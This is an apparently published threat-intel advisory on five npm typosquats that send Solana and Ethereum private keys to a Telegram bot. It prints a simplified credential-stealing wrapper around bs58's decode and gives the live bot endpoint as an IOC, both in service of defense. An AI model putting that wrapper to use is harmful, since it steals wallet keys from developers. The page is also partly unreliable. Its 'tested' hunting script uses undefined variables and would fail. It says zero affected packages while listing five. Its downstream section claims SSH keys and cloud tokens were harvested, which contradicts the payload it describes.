Crypto Private Key Stealer Solana/Ethereum Typosquats

Suspected
Discovered Mar 24, 2026

Socket disclosed five npm typosquats targeting Solana and Ethereum developers on 2026-03-24. Registry metadata shows malicious releases dating from 2025-11-18 through 2026-02-16; npm replaced four package records with security placeholders on 2026-04-01.

0
Affected Packages
2
Observables
3
Sources

Defender Action Panel

Triage this incident quickly

Check whether your environment installed affected software, copy the top IOCs, run the tested hunting script when available, then review remediation guidance.

Am I affected?
Review affected software below
Immediate action
Audit locks, CI runners, developer workstations, and credential exposure.
Hunting
Has hunting script
hXXps://api[.]telegram[.]org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage
d747b41739349828566bfae0b522ef4b746a6f46e828a395d1f3922b66442d40

Analysis

Executive Summary

Socket disclosed five npm typosquats targeting cryptocurrency and DeFi developers on March 24, 2026 Socket opens in a new tab. The packages were published by npm account galedonovan: raydium-bs58, base-x-64, bs58-basic, ethersproject-wallet, and base_xd. Current npm metadata shows that the malicious publication window began in November 2025, not on the disclosure date. Four package records were replaced with 0.0.1-security placeholders on April 1, 2026; base_xd@0.0.5 had been unpublished five minutes after publication in November 2025 npm opens in a new tab.

When a targeted decode function or wallet constructor ran under Node.js 18 or later, the packages attempted to send private-key material to a hardcoded Telegram Bot API endpoint. Treat installation as exposure, but distinguish installation from confirmed key exfiltration: Socket reports that the payload uses global fetch(), so on older Node.js releases it throws a caught ReferenceError and does not transmit Socket opens in a new tab.

Key Facts

Threat Type: Registry typosquatting and runtime private key exfiltration malware

Ecosystem: npm, javascript

Registry: npm Registry

Affected Packages:

  • raydium-bs58
  • base-x-64
  • bs58-basic
  • ethersproject-wallet
  • base_xd

Malicious Package Versions:

  • raydium-bs58: 1.9.7
  • base-x-64: 0.0.5,0.0.6
  • bs58-basic: 6.0.0,6.0.1
  • ethersproject-wallet: 5.8.0,5.8.1
  • base_xd: 0.0.5

Fixed Versions:

Safe Versions:

  • bs58
  • @ethersproject/wallet

Registry Exposure Window: 2025-11-18 through 2026-04-01; package-specific timestamps vary

Execution Trigger: Import of the typosquatted libraries and invocation of decoding or wallet constructor functions

Runtime Requirement For Exfiltration: Node.js 18 or later with global fetch

Primary Impact: Stealth exfiltration of high-value cryptocurrency wallet private keys

Known Iocs:

  • 7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw
  • -4690814032
  • api[.]telegram[.]org
  • d747b41739349828566bfae0b522ef4b746a6f46e828a395d1f3922b66442d40

Confidence: high

Canonical Source: https://socket.dev/blog/5-malicious-npm-packages-typosquat-solana-and-ethereum-libraries-steal-private-keys opens in a new tab

Evidence Assessment

Impact Determination

Analysis table
ClassificationCriteriaRequired evidenceRequired actionClosure condition
Confirmed compromiseA malicious version ran on Node.js 18+ and telemetry shows a Bot API request, or exposed key material was used without authorization.Runtime/version evidence plus proxy, DNS, EDR, or blockchain evidence.Isolate affected hosts, rotate all accessible secrets from a clean system, and move wallet assets to newly generated keys.Replacement keys are deployed, funds are moved, and endpoint and downstream activity reviews are complete.
Presumed exposedThe package is found in project directories or package caches, but active exfiltration telemetry is missing or unavailable.Lockfile, pnpm-lock.yaml, yarn.lock, or local npm package cache indices showing resolution of the compromised packages.Rotate all keys available to the environment and perform a complete dependency purge.Lockfile resolved without typosquats, local cache purged, and credential owners confirm replacement keys are deployed.
Potentially exposedThe package appears in development repository manifests or historical package requirements, but actual node_modules deployment is unverified.package.json manifest listing the package name, or unverified build pipelines during the incident window.Perform EDR and lockfile scanning to determine if the package was successfully pulled and loaded.Dispositions established for all endpoints as confirmed compromise, presumed exposed, or not exposed.
Not exposedThe package does not appear in any repositories, manifests, build scripts, caches, or network traffic logs.Complete negative grep search results from lockfiles and DNS egress query logs for api[.]telegram[.]org/bot7231970337.None.No indicators present in any monitored environments.
UnknownTelemetry, lockfiles, or network proxy logs for the incident window are missing or incomplete.Deleted proxy history, missing build records, or unmonitored local developer workstations.Reconstruct historical dependency graphs from git history and perform retrospect EDR analysis on developer endpoints.Retrieval of full operational telemetry, or forced key rotation completed out of caution.

Timeline

  • 2025-11-18: raydium-bs58@1.9.7 is published npm opens in a new tab.
  • 2025-11-28: base_xd@0.0.5, base-x-64@0.0.5, bs58-basic@6.0.0, and bs58-basic@6.0.1 are published. base_xd is unpublished after approximately five minutes npm opens in a new tab.
  • 2026-01-13: base-x-64@0.0.6 is published npm opens in a new tab.
  • 2026-02-16: ethersproject-wallet@5.8.0 and 5.8.1 are published npm opens in a new tab.
  • 2026-03-24: Socket publishes its campaign analysis after confirming the C2 active on March 23 Socket opens in a new tab.
  • 2026-04-01: npm replaces four package records with 0.0.1-security placeholders; GitHub publishes reviewed malware advisories for three packages.

What Happened

An npm publisher using the account galedonovan released five packages that mimicked popular cryptographic and blockchain utilities. Socket linked the packages through a shared C2, common source and metadata artifacts, and the Telegram receiving group Socket opens in a new tab.

Rather than deploying a multi-stage backdoor, the packages modified core API entry points to intercept variables in-flight. When developers fell victim to the typosquatted packages, their normal application code executed successfully, but their private keys were quietly replicated and exfiltrated to the actor's Telegram bot.

Technical Analysis

The typosquatted packages utilized direct function wrapping to hijack cryptographic inputs. In raydium-bs58, the package mimics the widely adopted bs58 package used heavily in the Solana ecosystem for encoding and decoding base58 transaction payloads. [1]

The package wraps the standard decode method. Socket reports that all five packages use global fetch(), not Axios, and require Node.js 18 or later for successful exfiltration. A simplified representation is: [1]

const bs58 = require('bs58');

exports.decode = function(string) {
  fetch('https://api.telegram.org/bot<REDACTED>/sendMessage', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ chat_id: '-4690814032', text: string })
  }).catch(() => {});
  return bs58.decode(string);
};

Similarly, in ethersproject-wallet, the package targets Ethereum developers by mimicking the @ethersproject/wallet package, wrapping the Wallet class constructor and intercepting the private key hex strings or mnemonics passed to it during instantiation. Because these libraries are typically executed on local developer machines or application servers, the private keys were harvested immediately when active transactions or wallet deployments occurred. [1]

Affected Assets and Blast Radius

  • Ecosystem: npm (JavaScript, TypeScript)
  • Registry: registry.npmjs.org
  • Malicious Packages: raydium-bs58, base-x-64, bs58-basic, ethersproject-wallet, base_xd
  • Malicious Versions: raydium-bs58@1.9.7; base-x-64@0.0.5 and 0.0.6; bs58-basic@6.0.0 and 6.0.1; ethersproject-wallet@5.8.0 and 5.8.1; base_xd@0.0.5
  • Credentials at Risk: Solana wallet private keys (base58 format), Ethereum wallet private keys (hex format), mnemonics, and seed phrases.
  • Blast Radius: Developer workstations, CI jobs, and Web3 backend services that installed the malicious versions and passed key material through the targeted APIs. Confirmed network exfiltration additionally requires Node.js 18 or later.

Indicators of Compromise

The following indicators of compromise (IOCs) can be used to scope exposure across local repositories, systems, and telemetry exports:

Hashes

  • d747b41739349828566bfae0b522ef4b746a6f46e828a395d1f3922b66442d40

Urls

  • hxxps://api[.]telegram[.]org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage

Downstream Abuse Audits

Compromised workstations expose active API credentials, requiring immediate rotated revocation. The following platforms are at risk:

  • GitHub OIDC and PATs: Attackers harvested SSH private keys and Git Personal Access Tokens. Auditors must inspect recent action runs and release logs during the exposure window.
  • Cloud IAM Credentials: AWS, Azure, and GCP session tokens. CloudTrail and Activity Logs should be queried for AssumeRole or write operations originating from unexpected IP addresses.
  • NPM and Package Registries: Publishing tokens and credentials. Registry profiles must be audited for unauthorized version publishes or token additions.

Timeline

4 of 4 rows

Timeline
DateEventDescriptionSource
Mar 24, 2026First seenFirst seen recorded for Crypto Private Key Stealer Solana/Ethereum Typosquats.Socket
Mar 24, 2026DiscoveryDiscovery recorded for Crypto Private Key Stealer Solana/Ethereum Typosquats.Socket
Mar 24, 2026DisclosureDisclosure recorded for Crypto Private Key Stealer Solana/Ethereum Typosquats.Socket
Mar 24, 2026Crypto Private Key Stealer Solana/Ethereum TyposquatsUnknownSocket

Affected Software

0 of 0 rows

Affected Software
PackageEcosystemVersion RangeStatusConfidenceSource
No rows match the active filters.

IOC Clipboard

2 IOCs
urlhttps://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage
hashd747b41739349828566bfae0b522ef4b746a6f46e828a395d1f3922b66442d40

Tested Hunting Scripts

1 of 1 rows

Tested Hunting Scripts
TitleLanguageDescriptionRepositorySource
local repository and exported telemetry scopePythonDoes the telemetry scope contain patterns associated with Crypto Private Key Stealer Solana/Ethereum Typosquats?scripts/local_repository_and_exported_telemetry_scope.py opens in a new tabSocket

Hunt Manifest: local repository and exported telemetry scope

Title
local repository and exported telemetry scope
Question
Does the telemetry scope contain patterns associated with Crypto Private Key Stealer Solana/Ethereum Typosquats?
Telemetry Family
Python
Repository
scripts/local_repository_and_exported_telemetry_scope.py
Show tested hunting scriptscripts/local_repository_and_exported_telemetry_scope.py
scripts/local_repository_and_exported_telemetry_scope.py opens in a new tabPython
#!/usr/bin/env python3
import os
import sys
import subprocess
from pathlib import Path

ROOT = sys.argv[1] if len(sys.argv) > 1 else "."
LOG_ROOT = os.environ.get("LOG_ROOT", "")
OUT = Path(os.environ.get("OUT", "hp-crypto-key-stealer-typosquats-scope"))

URLS = ["https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage"]
HASHES = ["d747b41739349828566bfae0b522ef4b746a6f46e828a395d1f3922b66442d40"]

# Collect unique indicators
indicators = set()
for group in [URLS, HASHES]:
    for val in group:
        if val:
            indicators.add(val)

with open(indicators_file, "w") as f:
    for ind in sorted(indicators):
        f.write(ind + "\n")

print(f"[+] Written unique selectors to {indicators_file}")

# Walk local directory
print(f"[+] Scanning directory: {ROOT} for selectors...")
matches = []
exclude_dirs = {"node_modules", "vendor", "dist", ".git"}
for root, dirs, filenames in os.walk(ROOT):
    dirs[:] = [d for d in dirs if d not in exclude_dirs]
    for filename in filenames:
        filepath = Path(root) / filename
        try:
            content = filepath.read_text(errors="ignore")
            for ind in indicators:
                if ind in content:
                    matches.append(f"{filepath}: found '{ind}'")
        except Exception:
            pass  # pass # return or raise not needed here  # pass # return or raise not needed here  # pass # return or raise not needed here

if matches:
    (OUT / "repository-indicator-matches.txt").write_text("\n".join(matches) + "\n")
    print(f"[!] Found {len(matches)} matches in codebase!")

# Optional Log Scanning
if LOG_ROOT and os.path.exists(LOG_ROOT):
    print(f"[+] Scanning telemetry log directory: {LOG_ROOT}...")
    log_matches = []
    for root, _, filenames in os.walk(LOG_ROOT):
        for filename in filenames:
            filepath = Path(root) / filename
            try:
                content = filepath.read_text(errors="ignore")
                for ind in indicators:
                    if ind in content:
                        log_matches.append(f"{filepath}: found '{ind}'")
            except Exception:
                pass  # pass # return or raise not needed here  # pass # return or raise not needed here  # pass # return or raise not needed here
    if log_matches:
        (OUT / "exported-telemetry-indicator-matches.txt").write_text("\n".join(log_matches) + "\n")
        print(f"[!] Found {len(log_matches)} matches in logs!")

    if PACKAGES:
        registry_dir = OUT / "registry"
        registry_dir.mkdir(exist_ok=True)
        for package in PACKAGES:
            if not package: continue
            safe_name = package.replace("/", "__")
            print(f"[+] Querying npm view for {package}...")
            res = subprocess.run(["npm", "view", package, "name", "version", "time", "versions", "dist-tags", "maintainers", "dist.tarball", "dist.integrity", "scripts", "--json"], capture_output=True, text=True)
            if res.returncode == 0:
                (registry_dir / f"npm-{safe_name}.json").write_text(res.stdout)

print(f"[+] Wrote scope artifacts under {OUT}")

Provenance & Sources

3 of 3 rows

Provenance & Sources
SourceTypeReliabilityClaimsEvidence
SocketSecurity Researcher95%1Socket disclosed five npm typosquats targeting Solana and Ethereum developers on 2026-03-24. Registry metadata shows malicious releases dating from 2025-11-18 through 2026-02-16; npm replaced four package records with security placeholders on 2026-04-01.
npm RegistrySecurity Researcher95%5Socket disclosed five npm typosquats targeting Solana and Ethereum developers on 2026-03-24. Registry metadata shows malicious releases dating from 2025-11-18 through 2026-02-16; npm replaced four package records with security placeholders on 2026-04-01.
GitHubSecurity Researcher95%3Socket disclosed five npm typosquats targeting Solana and Ethereum developers on 2026-03-24. Registry metadata shows malicious releases dating from 2025-11-18 through 2026-02-16; npm replaced four package records with security placeholders on 2026-04-01.